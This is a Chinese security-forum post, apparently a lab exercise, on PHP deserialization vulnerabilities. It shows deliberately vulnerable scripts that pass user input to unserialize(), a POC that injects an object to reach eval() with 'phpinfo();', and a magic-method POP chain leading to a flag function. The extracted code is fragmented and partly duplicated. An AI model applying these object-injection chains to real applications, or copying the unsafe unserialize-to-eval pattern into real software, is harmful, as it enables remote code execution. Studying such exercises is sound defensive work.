-
-
[原创]反序列化漏洞练习
-
发表于: 2024-10-25 13:35 3985
-
成因
程序暴露或间接暴露反序列化 API,导致用户可以操作传入数据,并且没有对用户输入的反序列化字符串进行检测.
思路:想要输出想要的信息,只有在api()中修改data的值,再调用run()函数。
切入点:在car中存在构造函数和析构函数
解答:先定义car的对象a,此时调用构造函数a->action=new run()。成为run对象并不是我们所期望的,直接把a->action修改为api()。
构造的POC代码如下:
结果如下
下面是一些可以利用的函数的说明:
__toString
对象被当成字符串使用时会被调用
__invoke
用调用函数的方式调用一个对象时被调用
__call
执行不存在的函数时调用
不难看出,这里的函数利用环环相扣.
POC:
运行结果如下:
<?php
class
car{
var $action;
function __construct($action){
$this
-
>action
=
new run();
}
function __destruct()
{
$this
-
>action
-
>run();
}
}
class
run{
function run(){
echo
"running..."
;
}
}
class
api{
var $data;
function run(){
eval
($this
-
>data);
}
}
unserialize($_GET[
'action'
]);
?>
<?php
class
car{
var $action;
function __construct($action){
$this
-
>action
=
new run();
}
function __destruct()
{
$this
-
>action
-
>run();
}
}
class
run{
function run(){
echo
"running..."
;
}
}
class
api{
var $data;
function run(){
eval
($this
-
>data);
}
}
unserialize($_GET[
'action'
]);
?>
$a
=
new car(
'run'
);
$a
-
>action
=
new api();
$a
-
>action
-
>data
=
'phpinfo();'
;
echo serialize($a);
$a
=
new car(
'run'
);
$a
-
>action
=
new api();
$a
-
>action
-
>data
=
'phpinfo();'
;
echo serialize($a);
<?php
class
start_gg{
public $mod1;
public $mod2;
public function __destruct(){
$this
-
>mod1
-
>test1();
}
}
class
Call{
public $mod1;
public $mod2;
public function test1(){
$this
-
>mod1
-
>test2();
}
}
class
funct{
public $mod1;
public $mod2;
public function __call($test2, $arr)
{
$s1
=
$this
-
>mod1;
$s1();
}
}
class
func{
public $mod1;
public $mod2;
public function __invoke()
{
$this
-
>mod2
=
"字符串拼接"
.$this
-
>mod1;
}
}
class
string1{
public $str1;
public $str2;
public function __toString()
{
$this
-
>str1
-
>get_flag();
return
"1"
;
}
}
class
GetFlag{
public function get_flag(){
echo
"flag:"
.
"4399"
;
}
}
$a
=
$_GET[
'string'
];
unserialize($a);
?>
<?php
class
start_gg{
public $mod1;
public $mod2;
public function __destruct(){
$this
-
>mod1
-
>test1();
}
}
class
Call{
public $mod1;
public $mod2;
public function test1(){
$this
-
>mod1
-
>test2();
}
}
class
funct{
public $mod1;
public $mod2;
赞赏
他的文章
- [原创] 闲来无事,打打靶场之骑士CMS 2013
- [原创]反序列化漏洞练习 3986
- [分享]记一次cms的web渗透测试练习 8737
看原图
赞赏
雪币:
留言: